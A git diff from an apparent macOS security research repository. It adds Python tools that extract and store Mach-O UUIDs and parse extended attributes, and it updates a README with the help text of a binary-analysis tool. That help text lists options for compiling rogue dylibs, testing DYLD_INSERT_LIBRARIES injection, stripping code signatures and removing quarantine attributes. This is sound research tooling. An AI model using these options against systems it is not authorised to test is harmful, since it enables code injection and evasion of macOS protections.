""")
# Path specification group
path_group = parser.add_mutually_exclusive_group()
path_group.add_argument('--path', '-p', help='Path to the executable')
path_group.add_argument('--list', '-l', help='Path to a file containing a list of executables')
# Action group
parser.add_argument('--uuid', '-u', help='UUID to lookup or add')
parser.add_argument('--delete', '-d', action='store_true', help='Delete the path record from database')
parser.add_argument('--resolve', '-r', action='store_true', help='Get UUIDs for the path and add to database')
parser.add_argument('--show_db', '-s', action='store_true', help='Show all records in the database')
# Database location
parser.add_argument('--db_location', default=DEFAULT_DATABASE_FILE,
help='Location of the UUID database file')
args = parser.parse_args()
# Validate that at least one argument is provided
if not any([args.path, args.list, args.show_db, args.uuid]):
parser.error("At least one of --path, --list, --show_db, or --uuid is required")
process_paths(args)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,66 @@
import os
import subprocess
import argparse
def extract_uuids(path):
"""Extract UUIDs from a Mach-O file using dwarfdump."""
uuids = []
try:
# Run dwarfdump command to get UUIDs
result = subprocess.run(['dwarfdump', '--uuid', path], capture_output=True, text=True)
if result.returncode == 0:
for line in result.stdout.splitlines():
if 'UUID:' in line:
uuid = line.split(':')[1].strip().split()[0] # Extract UUID part only
uuids.append(uuid)
else:
print(f"Error running dwarfdump: {result.stderr.strip()}")
except Exception as e:
print(f"Error extracting UUIDs from {path}: {e}")
return uuids
def process_path(path, add_record=False):
"""Process a single path to extract UUIDs and optionally add them to the database."""
absolute_path = os.path.abspath(path)
if not os.path.isfile(absolute_path) or not os.access(absolute_path, os.X_OK):
print(f"Invalid path or not an executable: {absolute_path}")
return
# Extract UUIDs from the Mach-O file
uuids = extract_uuids(absolute_path)
# Output or add UUIDs to the database
if uuids:
uuid_string = ','.join(uuids) # Combine UUIDs into a single comma-separated string
if add_record:
# Call uuid_manager.py with the combined UUID string
subprocess.run(['python3', 'uuid_manager.py', '-p', absolute_path, '-u', uuid_string])
else:
print(f"{absolute_path}: {uuid_string}")
else:
print(f"No UUIDs found in {absolute_path}")
def main():
parser = argparse.ArgumentParser(description='Extract UUIDs from specified Mach-O binaries using dwarfdump.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--path', '-p', type=str, help='Path to the Mach-O binary')
group.add_argument('--list', '-l', type=str, help='Path to a file containing a list of binaries')
parser.add_argument('--add_record', action='store_true', help='Add extracted UUIDs to the database')
args = parser.parse_args()
if args.path:
# Process a single path
process_path(args.path, add_record=args.add_record)
elif args.list:
# Process a list of paths
if os.path.isfile(args.list):
with open(args.list, 'r') as file:
for line in file:
line = line.strip()
if line:
process_path(line, add_record=args.add_record)
else:
print(f"Invalid list file: {args.list}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,109 @@
import json
import os
import argparse
DEFAULT_DATABASE_FILE = 'uuid_database.json'
def load_database(db_location):
"""Load the UUID database from a JSON file."""
if os.path.exists(db_location):
with open(db_location, 'r') as file:
return json.load(file)
return {}
def save_database(database, db_location):
"""Save the UUID database to a JSON file."""
with open(db_location, 'w') as file:
json.dump(database, file, indent=4)
def add_record(database, path, uuids):
"""Overwrite or add new UUIDs for the executable path, converting them to lowercase."""
uuids_lower = [uuid.lower() for uuid in uuids]
print(f"Adding/updating record: {path} -> [{', '.join(uuids_lower)}]")
database[path] = uuids_lower
def remove_record(database, path):
"""Remove the record for the specified executable path."""
if path in database:
print(f"Removing record for: {path}")
del database[path]
else:
print(f"No record found for: {path}")
def append_uuid(database, path, uuids):
"""Append UUIDs to the existing list for the executable path, ensuring all UUIDs are lowercase."""
if path in database:
for uuid in uuids:
uuid_lower = uuid.lower()
if uuid_lower not in database[path]:
print(f"Appending UUID to existing record: {path} -> {uuid_lower}")
database[path].append(uuid_lower)
else:
print(f"UUID already exists for {path}: {uuid_lower}")
else:
print(f"Path does not exist in the database: {path}")
def display_uuids(database, path):
"""Display existing UUIDs for a given executable path."""
if path in database:
print(f"UUIDs for {path}: {', '.join(database[path])}")
else:
print(f"No record found for path: {path}")
def main():
parser = argparse.ArgumentParser(
description='Manage UUID database for Mach-O executables.',
formatter_class=argparse.RawTextHelpFormatter,
epilog="""\
Examples of usage:
Add or update (replace existing) UUIDs for an executable path:
python uuid_manager.py -p /path/to/executable -u "uuid1,uuid2,uuid3"
Remove a record for an executable:
python uuid_manager.py -p /path/to/executable -r
Append UUIDs to an existing record:
python uuid_manager.py -p /path/to/executable -a "uuid4,uuid5"
Display UUIDs for a specified path:
python uuid_manager.py -p /path/to/executable
Specify a custom database location:
python uuid_manager.py -p /path/to/executable -u "uuid1,uuid2" -d /custom/path/uuid_database.json
""")
parser.add_argument('--path', '-p', type=str, help='Path to the executable')
parser.add_argument('--uuid', '-u', type=str, help='Comma-separated UUIDs to associate with the executable')
parser.add_argument('-r', '--remove', action='store_true', help='Remove the record for the specified executable path')
parser.add_argument('-a', '--append_uuid', type=str, help='Comma-separated UUIDs to append to the existing record')
parser.add_argument('--db_location', '-d', type=str, default=DEFAULT_DATABASE_FILE, help='Location of the UUID database file')
args = parser.parse_args()
# Load the specified database location
database = load_database(args.db_location)
# Handle removing records if -r is specified
if args.remove and args.path:
remove_record(database, args.path)
# Handle adding/updating UUIDs if --path and --uuid are provided and -r is not specified
elif args.path and args.uuid:
uuids = args.uuid.split(',')
add_record(database, args.path, uuids)
# Handle appending UUIDs if --append_uuid and --path are specified
elif args.append_uuid and args.path:
append_uuids = args.append_uuid.split(',')
append_uuid(database, args.path, append_uuids)
# If only --path is specified, display existing UUIDs for that path
elif args.path:
display_uuids(database, args.path)
# Save the database
save_database(database, args.db_location)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,91 @@
#!/usr/bin/env python3
import xattr
import uuid
import sys
import argparse
class XattrReader:
def __init__(self, file_path):
self.file_path = file_path
def get_all_xattrs(self):
"""Return all extended attribute names."""
return xattr.listxattr(self.file_path)
def get_all_xattr_values(self):
"""Return a dictionary of attribute names and their raw values."""
attributes = self.get_all_xattrs()
all_attributes_values = {}
for attr in attributes:
value = xattr.getxattr(self.file_path, attr)
all_attributes_values[attr] = value
return all_attributes_values
def hexdump(self, byte_data):
"""Convert raw byte data to a hex string."""
return byte_data.hex()
def print_all_xattr_values(self, raw=False):
"""Print each attribute and its value in hex format or human-readable format."""
all_attributes_values = self.get_all_xattr_values()
for k, v in all_attributes_values.items():
if raw:
# Print raw hex values
hex_value = self.hexdump(v)
print(f"{k}: {hex_value}")
else:
# Human-readable format, interpreting 'com.apple.macl' if found
if k == "com.apple.macl":
print("com.apple.macl: ", end="")
self.parse_macl(v)
print()
else:
try:
# Attempt to decode as UTF-8
print(f"{k}: {v.decode('utf-8')}")
except UnicodeDecodeError:
# Fallback to hex if decoding fails
print(f"{k}: {self.hexdump(v)}")
def parse_macl(self, macl_data):
"""Parse the 'com.apple.macl' extended attribute for header and UUIDs."""
if len(macl_data) % 18 != 0:
print("Unexpected macl attribute length.")
return
for i in range(0, len(macl_data), 18):
entry = macl_data[i:i+18]
header = entry[:2].hex()
uuid_bytes = entry[2:]
entry_uuid = str(uuid.UUID(bytes=uuid_bytes))
if header == "0000" and entry_uuid == "00000000-0000-0000-0000-000000000000":
continue
print(f"{header},{entry_uuid}", end="")
def parse_arguments():
parser = argparse.ArgumentParser(description="Display extended attributes in raw or human-readable format.")
parser.add_argument("file_path", help="Path to the file with extended attributes.")
parser.add_argument(
"--raw",
action="store_true",
help="Display output in raw hex format."
)
parser.add_argument(
"--human",
action="store_true",
help="Display output in human-readable format (default)."
)
return parser.parse_args()
if __name__ == "__main__":
args = parse_arguments()
reader = XattrReader(args.file_path)
# Determine output mode: default to human-readable if neither --raw nor --human is set
if args.raw:
reader.print_all_xattr_values(raw=True)
else:
reader.print_all_xattr_values(raw=False)

492
README.md
View File

@@ -15,6 +15,7 @@ The table of contents showing links to all articles is below:
* &#9745; [Cracking macOS apps](https://karol-mazurek.medium.com/cracking-macos-apps-39575dd672e0?sk=v2%2F727dce55-53ee-45f6-b051-2979e62f2ba1)
* &#9745; [Cracking Electron Integrity](https://karol-mazurek.medium.com/cracking-electron-integrity-0a10e0d5f239?sk=v2%2F7726b99c-c6c9-4d70-8c37-da9f2f0874e8)
* &#9745; [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
* &#9745; [Optimizing Mach-O Detection](https://karol-mazurek.medium.com/optimizing-mach-o-detection-40352101bbef?sk=v2%2F3378d3f5-874b-4b82-94d5-b2ccd8522ea3)
* &#9745; [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
* &#9745; [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
* &#9745; [IV. Dylibs](https://karol-mazurek.medium.com/snake-apple-iv-dylibs-2c955439b94e?sk=v2%2Fdef72b7a-121a-47a1-af89-7bf53aed1ea2)
@@ -39,14 +40,15 @@ The table of contents showing links to all articles is below:
* &#9745; [Sandbox Detector](https://karol-mazurek.medium.com/sandbox-detector-4268ab3cd361?sk=v2%2F58fe49fb-1381-4db3-9db9-3f6309e4053a)
* &#9745; [Sandbox Validator](https://karol-mazurek.medium.com/sandbox-validator-e760e5d88617?sk=v2%2F145ac2ef-ca06-41a0-b310-c96f4ce0037b)
* &#9745; [App Sandbox startup](https://karol-mazurek.medium.com/app-sandbox-startup-71daf8f259d1?sk=v2%2F9f3b09a6-c7c0-445d-8613-8e25bf3f4e4d)
* &#9744; [System Intigrity Protection]()
* &#9744; [IX. TCC]()
* &#9745; [System Intigrity Protection](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
* &#9744; [IX. TCC](https://karol-mazurek.medium.com/snake-apple-ix-tcc-ae822e3e2718?sk=v2%2F426ae6cf-6418-4e3f-a0ca-3aee06d6f676)
* &#9745; [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
* &#9744; [X. NU]()
* &#9745; [Kernel Debugging Setup on MacOS](https://karol-mazurek.medium.com/kernel-debugging-setup-on-macos-07dd8c86cdb6?sk=v2%2F782bf539-a057-4f14-bbe7-f8e1ace26701)
* &#9744; [Fixing an Infinite Loop](https://karol-mazurek.medium.com/fixing-an-infinite-loop-on-unix-e0a8a5501c54?sk=v2%2F140555f8-9770-4c6b-9734-d9c5b7cc9bc7)
## TOOLS
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster)
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder)
***
### [CrimsonUroboros](tests/CrimsonUroboros.py)
@@ -54,37 +56,68 @@ The table of contents showing links to all articles is below:
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
* Usage
```console
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info]
[--bundle_info_syntax_check] [--bundle_frameworks] [--bundle_plugins] [--bundle_id]
[--file_type] [--header_flags] [--endian] [--header] [--load_commands] [--has_cmd LC_MAIN]
[--segments] [--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section]
[--symbols] [--imports] [--exports] [--imported_symbols] [--chained_fixups]
[--exports_trie] [--uuid] [--main] [--encryption_info [(optional) save_path.bytes]]
[--strings_section] [--all_strings] [--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols] [--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--has_suid] [--has_sgid] [--has_sticky]
[--injectable_dyld] [--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file]
[--test_dyld_SLC] [--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine]
[--remove_quarantine] [--add_quarantine] [--sandbox_container_path]
[--sandbox_container_metadata] [--sandbox_redirectable_paths] [--sandbox_parameters]
[--sandbox_entitlements] [--sandbox_build_uuid] [--sandbox_redirected_paths]
[--sandbox_system_images] [--sandbox_system_profiles] [--sandbox_content_protection]
[--sandbox_profile_data] [--dump_kext kext_name] [--extract_sandbox_operations]
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure]
[--bundle_info] [--bundle_info_syntax_check]
[--bundle_frameworks] [--bundle_plugins] [--bundle_id]
[--file_type] [--header_flags] [--endian] [--header]
[--load_commands] [--has_cmd LC_MAIN] [--segments]
[--has_segment __SEGMENT] [--sections]
[--has_section __SEGMENT,__section] [--symbols]
[--imports] [--exports] [--imported_symbols]
[--chained_fixups] [--exports_trie] [--uuid] [--main]
[--encryption_info [(optional) save_path.bytes]]
[--strings_section] [--all_strings]
[--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]]
[--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section]
[--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements]
[--entitlements [human|xml|var]]
[--extract_cms cms_signature.der]
[--extract_certificates certificate_name]
[--remove_sig unsigned_binary]
[--sign_binary [adhoc|identity]] [--cs_offset]
[--cs_flags] [--verify_bundle_signature]
[--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack]
[--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as]
[--is_fort] [--has_rpath] [--has_lv] [--checksec]
[--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths]
[--dylibs_paths_u] [--broken_relative_paths]
[--dylibtree [cache_path,output_path,is_extracted]]
[--dylib_id] [--reexport_paths] [--hijack_sec]
[--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]]
[--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env]
[--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols]
[--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]]
[--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]]
[--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--has_suid]
[--has_sgid] [--has_sticky] [--injectable_dyld]
[--test_insert_dylib] [--test_prune_dyld]
[--test_dyld_print_to_file] [--test_dyld_SLC] [--xattr]
[--xattr_value xattr_name] [--xattr_all]
[--has_quarantine] [--remove_quarantine]
[--add_quarantine] [--sandbox_container_path]
[--sandbox_container_metadata]
[--sandbox_redirectable_paths] [--sandbox_parameters]
[--sandbox_entitlements] [--sandbox_build_uuid]
[--sandbox_redirected_paths] [--sandbox_system_images]
[--sandbox_system_profiles]
[--sandbox_content_protection] [--sandbox_profile_data]
[--dump_kext kext_name] [--extract_sandbox_operations]
[--tcc] [--tcc_fda] [--tcc_automation] [--tcc_sysadmin]
[--tcc_desktop] [--tcc_documents] [--tcc_downloads]
[--tcc_photos] [--tcc_contacts] [--tcc_calendar]
[--tcc_camera] [--tcc_microphone] [--tcc_location]
[--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
Mach-O files parser for binary analysis
@@ -92,19 +125,21 @@ options:
-h, --help show this help message and exit
GENERAL ARGS:
-p PATH, --path PATH Path to the Mach-O file
-b BUNDLE, --bundle BUNDLE
Path to the App Bundle (can be used with -p to change path of binary which is by default
set to: /target.app/Contents/MacOS/target)
-p, --path PATH Path to the Mach-O file
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change
path of binary which is by default set to:
/target.app/Contents/MacOS/target)
BUNDLE ARGS:
--bundle_structure Print the structure of the app bundle
--bundle_info Print the Info.plist content of the app bundle (JSON format)
--bundle_info Print the Info.plist content of the app bundle (JSON
format)
--bundle_info_syntax_check
Check if bundle info syntax is valid
--bundle_frameworks Print the list of frameworks in the bundle
--bundle_plugins Print the list of plugins in the bundle
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
--bundle_id Print the CFBundleIdentifier value from the Info.plist
file if it exists
MACH-O ARGS:
--file_type Print binary file type
@@ -122,147 +157,192 @@ MACH-O ARGS:
--symbols Print all binary symbols
--imports Print imported symbols
--exports Print exported symbols
--imported_symbols Print symbols imported from external libraries with dylib names
--imported_symbols Print symbols imported from external libraries with
dylib names
--chained_fixups Print Chained Fixups information
--exports_trie Print Export Trie information
--uuid Print UUID
--main Print entry point and stack size
--encryption_info [(optional) save_path.bytes]
Print encryption info if any. Optionally specify an output path to dump the encrypted data
(if cryptid=0, data will be in plain text)
Print encryption info if any. Optionally specify an
output path to dump the encrypted data (if cryptid=0,
data will be in plain text)
--strings_section Print strings from __cstring section
--all_strings Print strings from all sections
--save_strings all_strings.txt
Parse all sections, detect strings, and save them to a file
--info Print header, load commands, segments, sections, symbols, and strings
Parse all sections, detect strings, and save them to a
file
--info Print header, load commands, segments, sections,
symbols, and strings
--dump_data [offset,size,output_path]
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
'0x1234,0x1000,out.bin')
Dump {size} bytes starting from {offset} to a given
{filename} (e.g. '0x1234,0x1000,out.bin')
--calc_offset vm_offset
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
0xfffffe000748f580)
Calculate the real address (file on disk) of the given
Virtual Memory {vm_offset} (e.g. 0xfffffe000748f580)
--constructors Print binary constructors
--dump_section __SEGMENT,__section
Dump '__SEGMENT,__section' to standard output as a raw bytes
Dump '__SEGMENT,__section' to standard output as a raw
bytes
--dump_binary output_path
Dump arm64 binary to a given file
CODE SIGNING ARGS:
--verify_signature Code Signature verification (if the contents of the binary have been modified)
--verify_signature Code Signature verification (if the contents of the
binary have been modified)
--cd_info Print Code Signature information
--cd_requirements Print Code Signature Requirements
--entitlements [human|xml|var]
Print Entitlements in a human-readable, XML, or DER format (default: human)
Print Entitlements in a human-readable, XML, or DER
format (default: human)
--extract_cms cms_signature.der
Extract CMS Signature from the Code Signature and save it to a given file
Extract CMS Signature from the Code Signature and save
it to a given file
--extract_certificates certificate_name
Extract Certificates and save them to a given file. To each filename will be added an
index at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
Extract Certificates and save them to a given file. To
each filename will be added an index at the end: _0
for signing, _1 for intermediate, and _2 for root CA
certificate
--remove_sig unsigned_binary
Save the new file on a disk with removed signature
--sign_binary [adhoc|identity]
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
get the identity (default: adhoc)
Sign binary using specified identity - use : 'security
find-identity -v -p codesigning' to get the identity
(default: adhoc)
--cs_offset Print Code Signature file offset
--cs_flags Print Code Signature flags
--verify_bundle_signature
Code Signature verification (if the contents of the bundle have been modified)
Code Signature verification (if the contents of the
bundle have been modified)
--remove_sig_from_bundle
Remove Code Signature from the bundle
CHECKSEC ARGS:
--has_pie Check if Position-Independent Executable (PIE) is set
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
--has_arc Check if Automatic Reference Counting (ARC) is in use
(can be false positive)
--is_stripped Check if binary is stripped
--has_canary Check if Stack Canary is in use (can be false positive)
--has_canary Check if Stack Canary is in use (can be false
positive)
--has_nx_stack Check if stack is non-executable (NX stack)
--has_nx_heap Check if heap is non-executable (NX heap)
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
--has_xn Check if binary is protected by eXecute Never (XN) ARM
protection
--is_notarized Check if the application is notarized and can pass the
Gatekeeper verification
--is_encrypted Check if the application is encrypted (has
LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT
flag set
--is_hr Check if the Hardened Runtime is in use
--is_as Check if the App Sandbox is in use
--is_fort Check if the binary is fortified
--has_rpath Check if the binary utilise any @rpath variables
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
--has_lv Check if the binary has Library Validation (protection
against Dylib Hijacking)
--checksec Run all checksec module options on the binary
DYLIBS ARGS:
--dylibs Print shared libraries used by specified binary with compatibility and the current version
(loading paths unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved to
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in
order they are searched for
--dylibs Print shared libraries used by specified binary with
compatibility and the current version (loading paths
unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved
to
--rpaths_u Print all paths (unresolved) that @rpath can be
resolved to
--dylibs_paths Print absolute dylib loading paths (resolved
@rpath|@executable_path|@loader_path) in order they
are searched for
--dylibs_paths_u Print unresolved dylib loading paths.
--broken_relative_paths
Print 'broken' relative paths from the binary (cases where the dylib source is specified
for an executable directory without @executable_path)
Print 'broken' relative paths from the binary (cases
where the dylib source is specified for an executable
directory without @executable_path)
--dylibtree [cache_path,output_path,is_extracted]
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
to extracted_dyld_share_cache/ in the current directory
Print the dynamic dependencies of a Mach-O binary
recursively. You can specify the Dyld Shared Cache
path in the first argument, the output directory as
the 2nd argument, and if you have already extracted
DSC in the 3rd argument (0 or 1). The output_path will
be used as a base for dylibtree. For example, to not
extract DSC, use: --dylibs ",,1", or to extract from
default to default use just --dylibs or --dylibs ",,0"
which will extract DSC to extracted_dyld_share_cache/
in the current directory
--dylib_id Print path from LC_ID_DYLIB
--reexport_paths Print paths from LC_REEXPORT_DLIB
--hijack_sec Check if binary is protected against Dylib Hijacking
--dylib_hijacking [(optional) cache_path]
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is
printed to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
Check for possible Direct and Indirect Dylib Hijacking
loading paths. The output is printed to console and
saved in JSON format to
/tmp/dylib_hijacking_log.json(append mode).
Optionally, specify the path to the Dyld Shared Cache
--dylib_hijacking_a [cache_path]
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
Like --dylib_hijacking, but shows only possible
vectors (without protected binaries)
--prepare_dylib [(optional) target_dylib_name]
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the
imported symbols from it in the dylib specified in the --path argument and automatically
add it to the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
/path/to/lib2.dylib
Compile rogue dylib. Optionally, specify
target_dylib_path, it will search for the imported
symbols from it in the dylib specified in the --path
argument and automatically add it to the source code
of the rogue lib. Example: --path lib1.dylib
--prepare_dylib /path/to/lib2.dylib
DYLD ARGS:
--is_built_for_sim Check if binary is built for simulator platform.
--get_dyld_env Extract Dyld environment variables from the loader binary.
--get_dyld_env Extract Dyld environment variables from the loader
binary.
--compiled_with_dyld_env
Check if binary was compiled with -dyld_env flag and print the environment variables and
its values.
Check if binary was compiled with -dyld_env flag and
print the environment variables and its values.
--has_interposing Check if binary has interposing sections.
--interposing_symbols
Print interposing symbols if any.
AMFI ARGS:
--dump_prelink_info [(optional) out_name]
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
Dump "__PRELINK_INFO,__info" to a given file (default:
"PRELINK_info.txt")
--dump_prelink_text [(optional) out_name]
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
Dump "__PRELINK_TEXT,__text" to a given file (default:
"PRELINK_text.txt")
--dump_prelink_kext [kext_name]
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
file named: prelinked_{kext_name}.bin
Dump prelinked KEXT {kext_name} from decompressed
Kernel Cache PRELINK_TEXT segment to a file named:
prelinked_{kext_name}.bin
--kext_prelinkinfo [kext_name]
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
Print _Prelink properties from PRELINK_INFO,__info for
a give {kext_name}
--kmod_info kext_name
Parse kmod_info structure for the given {kext_name} from Kernel Cache
Parse kmod_info structure for the given {kext_name}
from Kernel Cache
--kext_entry kext_name
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
Kernel Extension
Calculate the virtual memory address of the __start
(entrypoint) for the given {kext_name} Kernel
Extension
--kext_exit kext_name
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
Kernel Extension
Calculate the virtual memory address of the __stop
(exitpoint) for the given {kext_name} Kernel Extension
--mig Search for MIG subsystem and prints message handlers
--has_suid Check if the file has SetUID bit set
--has_sgid Check if the file has SetGID bit set
--has_sticky Check if the file has sticky bit set
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
is executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1)
(INVASIVE - the binary is executed)
--test_dyld_print_to_file
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
--injectable_dyld Check if the binary is injectable using
DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using
DYLD_INSERT_LIBRARIES (INVASIVE - the binary is
executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using
DYLD_PRINT_INITIALIZERS=1) (INVASIVE - the binary is
executed)
--test_dyld_print_to_file
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables
works (INVASIVE - the binary is executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment
Variables works and code can be injected using
DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is
executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
ANTIVIRUS ARGS:
--xattr Print all extended attributes names
@@ -270,35 +350,67 @@ ANTIVIRUS ARGS:
Print single extended attribute value
--xattr_all Print all extended attributes names and their values
--has_quarantine Check if the file has quarantine extended attribute
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
--add_quarantine Add com.apple.quarantine extended attribute to the file
--remove_quarantine Remove com.apple.quarantine extended attribute from
the file
--add_quarantine Add com.apple.quarantine extended attribute to the
file
SANDBOX ARGS:
--sandbox_container_path
Print the sandbox container path
--sandbox_container_metadata
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
format
Print the .com.apple.containermanagerd.metadata.plist
contents for the given bundlein XML format
--sandbox_redirectable_paths
Print the redirectable paths from the sandbox container metadata as list
